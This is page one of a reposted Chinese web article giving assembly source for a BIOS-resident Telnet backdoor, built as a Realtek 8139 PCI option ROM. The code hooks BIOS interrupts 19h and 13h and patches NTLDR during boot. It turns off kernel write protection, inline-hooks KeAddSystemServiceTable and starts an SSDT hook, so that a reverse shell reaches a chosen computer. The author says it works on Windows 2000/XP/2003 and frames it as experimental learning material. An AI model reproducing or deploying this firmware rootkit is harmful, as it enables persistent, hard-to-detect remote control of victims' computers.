首 页IT知识库翔宇问吧收藏本站
当前位置:翔宇亭IT乐园IT知识库电脑基础安全防护

使用汇编编写BIOS中隐藏Telnet后门

减小字体 增大字体 作者:不详  来源:转载  发布时间:2010-11-06 18:40:57

[项目简述]

该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受CMD控制。

[项目涉及的相关知识及技术标题]

1、实验环境配置问题。   2、刷新BIOS技术问题。  3、代码植入BIOS问题。

 4、源代码的相关问题:

A、如何编写BIOS模块如:PCI、ISA。    B、实模式关于HOOK磁盘中断的问题。

C、磁盘中断中选择再次HOOK的问题。 D、NT保护模式下设置物理地址映射。

E、NT保护模式下线性地址寻址问题。     F、HOOK KeAddSystemServiceTable。

G、HOOK NtUserRegisterClassExWOW。 H、HOOK Winlogon SASWndProc过程。

I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。

5、源代码的其他技术:

A、IVThook InLineHook  SSDT Hook                       B、SEH  PE  PEB  TIB

C、Hash SharedUserData CheckSum

6、......

文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

.586p                             ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.

.Model Tiny                    ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.

;**********************************************************************

ROM_IMAGE_SIZE    equ 4                                    ;整个模块大小单位KB,固定大小4KB.

CSL_KERNEL_DEST    equ 0FFDF0800h                     ;SharedUserData数据结构线性地址.
        CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.

;**********************************************************************

RealCode segment use16

Code16Start:

;***********************************************************************

org     00h               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
        dw      0AA55h        ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
        db      ROM_IMAGE_SIZE*2     ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
        jmp     MyROMCodeStart        ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
        org     06h            ;####注意:编译器根据偏移长度选择JMPming令####,****JMP[rel16]长:003h****
        ReturnOldROM:          ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
        db      0e9h,0,0           ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
        db      'CHKSUM=',0    ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****    
;*****************************************************************************************

org     18h        ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*******************************************************************************************

MyROMCodeStart:
        pushf
        pushad
        push    es
        push    ds

       sti                                                       ;打开中断,以便接收键盘输入.
       mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
       call    WaitPressScrollKey
       .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
;****************************************************************************************            

 xor     ax,ax
         mov     es,ax
          mov     eax,es:[19h*4]
          mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

          mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
          and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
          sub     bx,4                                      
          mov     es:[413h],bx                              
          shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
          mov     es,bx                                     
          xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
              
          push    cs
          pop     ds
          call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
          GetCurrentAddr:
          pop     si                                        ;si->GetCurrentAddr在内存的地址
          mov     dx,si
              
          add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
           cld
           mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
           rep     movsd
              
          add     bx,100h                                   
          mov     es,bx                                     
          xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
          mov     si,dx
          sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start实模式代码的内存的地址.
          mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
          rep     movsd
             
          xor     bx,bx
          mov     ds,bx
          add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H内存的地址
          mov     ds:[19h*4],dx
          mov     ds:[(19h*4) + 2],es                       ;设置成我们的INT19H服务代码
;******************************************************************************************   

   .endif
        pop     ds
      pop     es
      popad
      popf
      ;jmp     ReturnOldROM                                     ;跳转到原来的ROM代码的跳转处执行              
      retf
;***********************************************************************************************

WaitPressScrollKey:                        ;函数入口:CX=350约为10ms, 函数延时: 33(us)
      push    ax
      .repeat
             in      al,60h
             .if     al == 46h                                  ;Scroll Lock键扫描码:46h
                     stc
                     pop    ax
                     ret
             .endif
             in      al,61h  
             test    al,010h  
             .continue .if  !ZERO?
             .repeat
                     in      al,61h  
                     test    al,10h  
             .until  !ZERO?
             dec    cx
      .until cx == 0
      clc
      pop    ax
      ret
;*********************************************************************************
      NewINT19H:
      pushf
      ;cli
      push    eax
      push    es
      ;jmp     $                                                ;bochs调试1#.
      xor     ax,ax
      mov     es,ax            
      mov     eax,es:[84h*4]
      mov     es:[19h*4],eax                                    ;恢复中断向量19H值.
      mov     eax,es:[13h*4]
      .if     es:[85h*4] != eax
              mov     es:[85h*4],eax             ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
              mov     word ptr es:[13h*4],NewINT13H             ;设置NewINT13H在内存的地址.
              mov     es:[(13h*4) + 2],cs                       ;设置成我们的INT13H服务代码
      .endif

      pop     es
      pop     eax
      popf                                                      ;恢复现场
      int     84h                                               ;调用旧的中断向量19H.
      iret      
;**************************************************************************************************
     NewINT13H:
      pushf                                                     ;有指令要改变标志寄存器值.
      test    ah, 0bdh                                          ;是不是读数据到内存?ah=02,ah=42h.
      .if     !ZERO?                                            ;ZF=0
              popf
              int    85h                                        ;调用旧的中断向量13H.
              iret
      .endif
      mov     word ptr cs:[INT13LASTFUNCTION],ax
      popf
    
      
      int     85h                                               ;调用旧的中断向量13H.
      .if     CARRY?                                            ;CF=1,读失败退出服务
              iret
      .endif

      pushf
      ;cli
      push   es
      pushad
      ;jmp    $                   ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
      mov    ax,00h
INT13LASTFUNCTION EQU $-2
      .if     ah == 42h
         lodsw
         lodsw                         ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
         les    bx,[si]                                    ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
      .endif
      .if     al != 00h
              xor     cx,cx              
              mov     cl,al
         mov     al,8Bh                                    ;设置搜索标志的第一个字节.
         shl     cx,9                                         ;(CX * 200h) 搜索搜索计数.
         mov     di,bx                         ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
              cld                    ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
              .while   1                                  
                       repne     scasb      
                  .break    .if  !ZERO?
                       .continue .if  dword ptr es:[di] != 74F685F0h
                       .continue .if  word ptr es:[di+4] != 8021h
                                                                ;(es:di - 1)->我们想被HOOK的指令代码开始处.

                       ;mov     byte ptr es:[di-8],0ebh         ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
                       ;mov     byte ptr es:[di-7],0feh              
                       ;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
                       ;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.

                       xor     eax,eax                          
                       mov     ax,cs
                       sub     ax,100h                          ;ax->保护模式代码段
                       mov     bx,ax
                       shl     eax,4                     ;eax->保护模式代码段在内存的物理地址.
                  
                       mov     word ptr es:[di-1],15ffh       ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
                       mov     es:[di+1],eax         ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
                       ;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
                       mov     es,bx
                       or      es:[(KEASSTHOOK_PTE - Code32Start)],eax
                       add     eax,4                            ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
                       mov     dword ptr es:[0],eax   ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
                       ;jmp     $                               ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
             .endw
      .endif  
      popad
      pop     es
      popf
      iret
;*****************************************************************************************************
Code16End:                                                      ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************
ProtectCode segment byte use32                                  ;##########可工作在32位保护模式的代码#########
Code32Start:                                    ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
      NTLDRCallAddr dd ?                                        

      ;jmp     $                                            ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
      pushfd                                               ;esp = esp + 04h
      pushad                                              ;esp = esp + 20h
                                                                ;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
      mov     edi,[esp + 20h + 04h]                             ;edi->OSLOADER内部.
      and     edi,NOT 000FFFFFh                                 ;转换为镜像基地址 .
      cld
      mov     al,0c7h                     ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
      .while  1
              scasb      
               .if     ZERO?
                    .break .if  dword ptr [edi] == 40003446h
              .endif
      .endw
      mov     al,0A1H                                           ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
      .while  1
              scasb
              .break  .if     ZERO?
      .endw
      mov     esi,[edi]                                         ;esi->模块链表的开始基地址  .
      mov     esi,[esi]                                         ;esi->模块链表中的第一个节点.
      lodsd
      mov     ebx,[eax+18h]                              ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
                                                                ;注意:这里不能直接调用NTOSKRNL导出函数.
      ;jmp     $
;***************************************************************************************** 
     call    PatchFunction_OverHookFunc                    ;跳转到KeASSTHook后面执行,安装HOOK问题.

KeASSTHook:                                       ;HOOK KeAddSystemServiceTable   该函数.
                                                                ;lb 0x804c3bc6
      sub     dword ptr [esp],5                          ;修正ret指令返回地址为被HOOK函数开始处.
      pushad                                                    ;保护KeAddSystemServiceTable函数的现场.
      
      mov     eax,00000001h         ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU $-4                                          
      xor     ecx,ecx
      mov     ch,((Code32End - Code32Start) + 100h) / 100h      ;注意:代码小于2k,以便放在用户数据空间 .
      mov     edx,0C0000000h          ;edx->4MB页目录表中的第一个二级页表项 .
      xor     esi,esi                         ;esi->我们的代码开始地址,以页为基地址 .
      mov     edi,CSL_KERNEL_DEST          ;拷贝代码到SharedUserData数据空间中去 .
      xchg    [edx],eax                                         ;映射我们代码的物理地址到线性地址00000.
      wbinvd                                                    
      rep     movsb                                             ;SharedUserData 空间参看其他相关的教程.
      mov     [edx],eax                                         ;恢复线性地址00000000原来的映射物理页 .
      wbinvd                                                    ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.

                                                                ;保存被HOOK代码数据在堆栈中,后面恢复用.
      db      6Ah,0                    ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
      pushd   0
KEASSTHOOK_DISPLACED0 EQU $-4
                                                                ;bochs调试8#:lb 0xffdf08a4映射地址之后.
      push    (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
      ret                                 ;跳转到MyKeAddSystemServiceTable函数处.
;**********************************************************************
PatchFunction_OverHookFunc:                            ;KeAddSystemServiceTable HOOK 问题处理.

      pop     esi                                               ;esi->KeASSTHook 函数在内存的实际地址 .
      mov     ecx,PatchFunction_OverHookFunc - KeASSTHook   ;ecx = KeASSTHook 代码的长度,准备移动 .
                                                                ;处理代码中的寻址问题,将KeASSTHook代码.
      lea     edi,[ebx+40h]                        ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
      ;jmp     $                                            ;bochs调试5#,lb edi下一步运行在edi的值.
      mov     ebp, edi                         ;ebp用于后面HOOK时计算CALL rel 偏移用 .
      rep     movsb                                             ;指令:edi->PatchFunction_OverHookFunc .
      
      mov      edx,0A21CD4EEh                            ;"KeAddSystemServiceTable",0  ->HASH值.
      call     PEApiHashFind                                    ;在NTOSKRNL模块中查找该函数以便HOOK用..
      ;jmp      $                                               ;bochs调试7#可以用到调试HOOK函数lb eax.
      xchg     esi,eax                                          ;指令:esi->KeAddSystemServiceTable函数.

      sub      edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
      movsd                                                     ;InLine HOOK方式:保存被HOOK的代码数据 .
      sub          edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
      movsb

      mov      byte ptr [esi-5],0e8h                     ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
      sub      ebp,esi                                          ;调试例如:bochs调试5#edi lb 0x80400040.
      mov      dword ptr [esi-4],ebp                  ;call KeASSTHook,调试断点bochs调试5#处.

      popad
      popfd
;*************************************************************************   ;模拟InLineHOOK NTLDR中的指令,并返回去.
      mov      esi,eax
      test     eax,eax
      jnz      short @F
      pushfd
      add      dword ptr [esp+4],21h
      popfd
@@:
      ret
;**************************************************************************************
     KeAddSystemServiceTable:        ;bochs调试8#:开始是多任务JMP $断点很慢.
                                                                ;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable      
      mov     ebp,esp                                           ;bochs调试8#:lb 0xffdf08a4 u /50  查看.
      mov     edi,[ebp+8+20h]                     ;edi->KeAddSystemServiceTable 函数入口.
                                                                
      mov     ecx,cr0
      mov     edx,ecx
      and     ecx,NOT 00010000h
      mov     cr0,ecx                                           ;CR0.WP关闭页保护功能,以便对当前页修改.

      pop     eax                                               ;恢复KeAddSystemServiceTable HOOK 数据.
      stosd
      pop     eax
      stosb

      mov     cr0,edx                                           ;恢复 CR0.WP位到原来的状态            .
;**************************************************************************************
      mov     esi,[ebp+8+28h]                                   ;esi->_W32pServiceTable     服务描述表.
      mov     ecx,[ebp+8+30h]                                   ;ecx:                       服务的数目.
      mov     edi,[ebp+8+34h]                                   ;edi:_W32pArgumentTable     服务参数表.
                                                                ;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
      .while  ecx > 0                                           ;HOOK win32k!NtUserRegisterClassExWOW .
              lodsd
              .if    byte ptr [edi] == 10h                      ;NtUserRegisterHotKey has 4 arguments .
                     mov    edx,20h

[1] [2] [3]  下一页

知识评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 1分

内 容:

            请注意用语文明且合法,不要发布带有攻击性、侮辱性的言论,谢谢合作!

         通知管理员 验证码:

关于本站 | 网站帮助 | 广告合作 | 网站声明 | 友情连接 | 网站地图 | 用户守则 | 联系我们 |
本站大多数内容来自互联网或网站会员发布,如有侵权,请来信告之,谢谢!
Copyright © 2007-2017 biye5u.com. All Rights Reserved.
网站备案号:黑ICP备13005378号-3